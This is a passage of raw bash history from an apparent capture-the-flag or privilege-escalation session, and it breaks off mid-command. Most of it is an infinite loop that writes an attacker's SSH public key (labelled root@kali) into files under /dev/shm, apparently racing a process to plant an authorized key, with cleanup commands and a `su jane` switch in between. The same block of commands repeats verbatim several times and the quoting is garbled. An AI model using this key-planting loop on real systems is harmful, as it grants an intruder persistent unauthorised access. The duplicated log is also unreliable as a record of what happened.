 1148  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1149  ls -la 
 1150  cd keys/
 1151  ls -la 
 1152  cat id_rsa.pub\* 
 1153  clear
 1154  ls a- l
 1155  clear
 1156  ls -la 
 1157  cat id_rsa.pub\* 
 1158  cd..
 1159  cd ..
 1160  clear
 1161  ls -la 
 1162  cd l
 1163  cd keys/
 1164  ls -la 
 1165  rm -r id_rsa.pub\* 
 1166  clear
 1167  ls -la 
 1168  cd ..
 1169  ls -a l
 1170  rm -r keys/
 1171  clear
 1172  ls -al 
 1173  ls -la 
 1174  cd ..
 1175  cd shm/
 1176  ls -la 
 1177  su jane
 1178  clear
 1179  ls -]al 
 1180  clear
 1181  ls -la 
 1182  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1183  clear
 1184  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1185  clear
 1186  ls -la 
 1187  rm -r id_rsa.pub 
 1188  clear
 1189  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1190  ls -al 
 1191  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1192  cd /dev/shm/
 1193  ls -al 
 1194  cd keys/
 1195  ls 
 1196  touch file.txt
 1197  cd ..
 1198  cd /tmp/
 1199  cd t
 1200  cd test/
 1201  touch file.txt
 1202  cd ..
 1203  touch file.txt
 1204  rm -r 
 1205  rm -r file.txt 
 1206  cd t
 1207  cd test/
 1208  ls -al 
 1209  touch file.txt
 1210  cd /dev/shm/
 1211  ls -la 
 1212  cd keys/
 1213  ls 
 1214  cd..
 1215  clear
 1216  ls -al 
 1217  cd ..
 1218  ls -la 
 1219  rm -r keys/
 1220  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1221  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1222  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub &amp;gt; /dev/null; done
 1223  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1224  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1225  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1226  ls -la 
 1227  cd keys/
 1228  ls -la 
 1229  cat id_rsa.pub\* 
 1230  clear
 1231  ls a- l
 1232  clear
 1233  ls -la 
 1234  cat id_rsa.pub\* 
 1235  cd..
 1236  cd ..
 1237  clear
 1238  ls -la 
 1239  cd l
 1240  cd keys/
 1241  ls -la 
 1242  rm -r id_rsa.pub\* 
 1243  clear
 1244  ls -la 
 1245  cd ..
 1246  ls -a l
 1247  rm -r keys/
 1248  clear
 1249  ls -al 
 1250  ls -la 
 1251  cd ..
 1252  cd shm/
 1253  ls -la 
 1254  su jane
 1255  clear
 1256  ls -]al 
 1257  clear
 1258  ls -la 
 1259  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1260  clear
 1261  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1262  clear
 1263  ls -la 
 1264  rm -r id_rsa.pub 
 1265  clear
 1266  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1267  ls -al 
 1268  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1269  cd /dev/shm/
 1270  ls -al 
 1271  cd keys/
 1272  ls 
 1273  touch file.txt
 1274  cd ..
 1275  cd /tmp/
 1276  cd t
 1277  cd test/
 1278  touch file.txt
 1279  cd ..
 1280  touch file.txt
 1281  rm -r 
 1282  rm -r file.txt 
 1283  cd t
 1284  cd test/
 1285  ls -al 
 1286  touch file.txt
 1287  cd /dev/shm/
 1288  ls -la 
 1289  cd keys/
 1290  ls 
 1291  cd..
 1292  clear
 1293  ls -al 
 1294  cd ..
 1295  ls -la 
 1296  rm -r keys/
 1297  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1298  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1299  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub &amp;gt; /dev/null; done
 1300  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1301  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1302  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1303  ls -la 
 1304  cd keys/
 1305  ls -la 
 1306  cat id_rsa.pub\* 
 1307  clear
 1308  ls a- l
 1309  clear
 1310  ls -la 
 1311  cat id_rsa.pub\* 
 1312  cd..
 1313  cd ..
 1314  clear
 1315  ls -la 
 1316  cd l
 1317  cd keys/
 1318  ls -la 
 1319  rm -r id_rsa.pub\* 
 1320  clear
 1321  ls -la 
 1322  cd ..
 1323  ls -a l
 1324  rm -r keys/
 1325  clear
 1326  ls -al 
 1327  ls -la 
 1328  cd ..
 1329  cd shm/
 1330  ls -la 
 1331  su jane
 1332  clear
 1333  ls -]al 
 1334  clear
 1335  ls -la 
 1336  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1337  clear
 1338  while true; do echo &amp;quot;ssh-rsa 